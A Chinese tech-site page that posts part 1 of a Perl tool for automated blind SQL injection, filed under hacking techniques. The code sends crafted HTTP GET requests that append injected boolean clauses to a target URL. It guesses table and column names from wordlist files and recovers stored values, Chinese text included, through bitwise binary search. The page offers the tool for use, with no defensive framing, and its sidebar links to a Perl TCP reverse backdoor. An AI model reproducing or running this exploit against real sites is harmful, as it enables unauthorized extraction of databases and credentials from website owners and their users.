Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > PERL:多线程+中文破解SQL注入猜解机(1)
【标  题】:PERL:多线程+中文破解SQL注入猜解机(1)
【关键字】:SQL,线程,多线程,中文,注入,SQL注入,破解,PE,PERL,PERL,SQL
【来  源】:网络

PERL:多线程+中文破解SQL注入猜解机(1)

Your Ad Here 说明:注意请把代码内的所有的∮都替换为$.


#!/usr/local/ActivePerl-5.8/bin/perl -w

use IO::Socket;
use threads;
#函数列表;
sub gethost
{
if(∮url=~/(http:\/\/)?(.+?)\/(.+)/)
{
∮host=∮2;
∮path='/'.∮3;
if(∮host=~/(.*):(.*)/)
{
∮host=∮1;
∮port=∮2;
}
}
}
sub fieInput
{
my ∮field;
open (fieInput,"∮_[0]") or die "can't open file!\n";
while (chomp(my ∮input=<fieInput>))
{
my ∮sql="exists%20(select%20∮input%20from%20∮table_user)";
∮path1 = "%20AND%20∮sql";
my @res = &connect;
if ("@res"=~/∮info/)
{
∮field=∮input;
print "\t+-- ∮field --+";
last;
}
}
close(fieInput);
return ∮field;
}

sub tabInput
{
my ∮table;
open (tabInput,"∮_[0]") or die "can't open file!\n";
while (chomp(my ∮input=<tabInput>))
{
my ∮sql="0<>(select%20count(*)%20from%20∮input)";
∮path1 = "%20AND%20∮sql";
my @res = &connect;
if ("@res"=~/∮info/)
{
∮table=∮input;
print "\t+-- ∮table --+\n";
last;
}
}
close(tabInput);
return ∮table;
}
sub connect
{
∮req = "GET ∮path∮path1 HTTP/1.0\n".
"Host: ∮host\n".
"Referer: ∮host\n".
"Cookie: \n\n";
my ∮connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>∮host,
PeerPort =>∮port) ││ die "Sorry! Could not connect to ∮host \n";
print ∮connection ∮req;
my @res = <∮connection>;
close ∮connection;
return @res;
}
sub crack
{
my(@dic) = @_;
my ∮sql=pop(@dic);
my ∮i=0;
my ∮op=1;
my ∮crack;
foreach my ∮pass(@dic)
{
print ">";
∮i++;
∮crack+=∮op*∮pass;
∮path1 = "%20AND%20∮crack<(∮sql)";
my @res = &connect;
if ("@res" =~ /∮info/)
{
∮op=1;
if(∮i==@dic)
{
∮crack++;
}
}
else
{
∮op=-1;
}
}
return ∮crack;
}
sub asc
{
my ∮asc=∮_[0];
my ∮str;
if (∮asc<256)
{
∮str = pack('C*',∮asc);
}
else
{
∮asc*=-1;
∮str = sprintf("%X",∮asc);
if (∮str=~/(.{4})∮/i)
{
∮str=∮1;
}
∮str = pack("H*",∮str);
}
return ∮str;
}
#初始化变量;
∮url='';
∮host='';
∮path='';
∮info='';
∮port=80;
@dic1=(128,64,32,16,8,4,2,1);
@dic2=(16,8,4,2,1);
@dic3=(64,32,16,8,4,2,1);
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1);

PERL:多线程+中文破解SQL注入猜解机(2):【上一篇】
Asp中调用VB编写的DLL:【下一篇】
【相关文章】
  • PERL:多线程+中文破解SQL注入猜解机(2)
  • PERL:多线程+中文破解SQL注入猜解机(3)
  • perl…TCP反向后门
  • 一个Mysql自动备份脚本
  • 一篇详细讲述mysql和access区别的好文章(1)
  • 一篇详细讲述mysql和access区别的好文章(2)
  • SQL脚本语言学习黑客篇
  • 注册机破解法的原理和应对方法
  • 关于SQL服务器的一些安全问题
  • Linjection (My)SQL via PHP(2)
  • 【随机文章】
  • SDL for g++
  • 硬盘主引导程序剖析
  • Java Servlet 和 JSP入门教程(4)
  • Redhat 9 基于 NFS 的安装方法
  • 学习aCC中
  • 总体了解C#(20.组合体、名字空间和访问级别)
  • BASE16加密解密
  • 底层技术
  • mysql登录与备份
  • CCNA中文笔记第5章:IP路由
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.